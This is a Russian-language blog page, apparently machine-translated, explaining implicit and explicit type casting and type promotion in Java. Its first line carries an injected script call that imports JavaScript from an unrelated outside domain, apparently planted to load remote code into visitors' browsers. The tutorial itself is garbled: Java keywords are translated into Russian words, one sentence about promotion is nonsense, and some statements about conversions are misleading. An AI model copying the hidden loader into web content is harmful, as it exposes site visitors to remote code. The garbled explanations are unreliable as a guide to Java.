google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Приведение типов в Java



Преобразование одного типа данных в другой тип данных называется преобразованием 
типов. Приведение типов в Java бывает двух типов: неявное приведение типов, которое 
также известно как автоматическое приведение типов и явное приведение типов.

Неявное или автоматическое приведение типа

  • При этом меньший тип данных преобразуется в больший тип данных, который 
    также называется расширением.
  • Там нет шансов потери данных.
  • Это делается компилятором, поэтому оно известно как автоматическое 
    приведение типов.
  • Пример: байт b = 10; int x = b; Здесь тип байта преобразуется в 
    тип int.

Явное приведение типов

  • При этом больший тип данных преобразуется в меньший тип данных, который 
    также называется сужением.
  • Существует вероятность потери данных.
  • Это делается пользователем с помощью оператора приведения типа ie 
    ().
  • Пример: int x = 10; байт b = (байт) x; Здесь тип int 
    преобразуется в тип байта.

Тип продвижения в Java

  • Преобразование меньшего типа данных в больший тип данных называется 
    продвижением типа.
  • Разрешено только продвижение, понижение в должности.

Тип Промо-Диаграмма

  • Эта диаграмма показывает нам процесс преобразования одного меньшего 
    типа данных в другой больший тип данных.
  • Double не может быть преобразован в любой тип данных.
Типовая диаграмма продвижения и приведение типов в Java

Примечание: Long занимает 
8 байтов, в то время как float занимает 4 байта, вместо этого long (больший тип) может быть 
преобразован в float (меньший тип), что является исключением.

Комментариев нет:

Отправить комментарий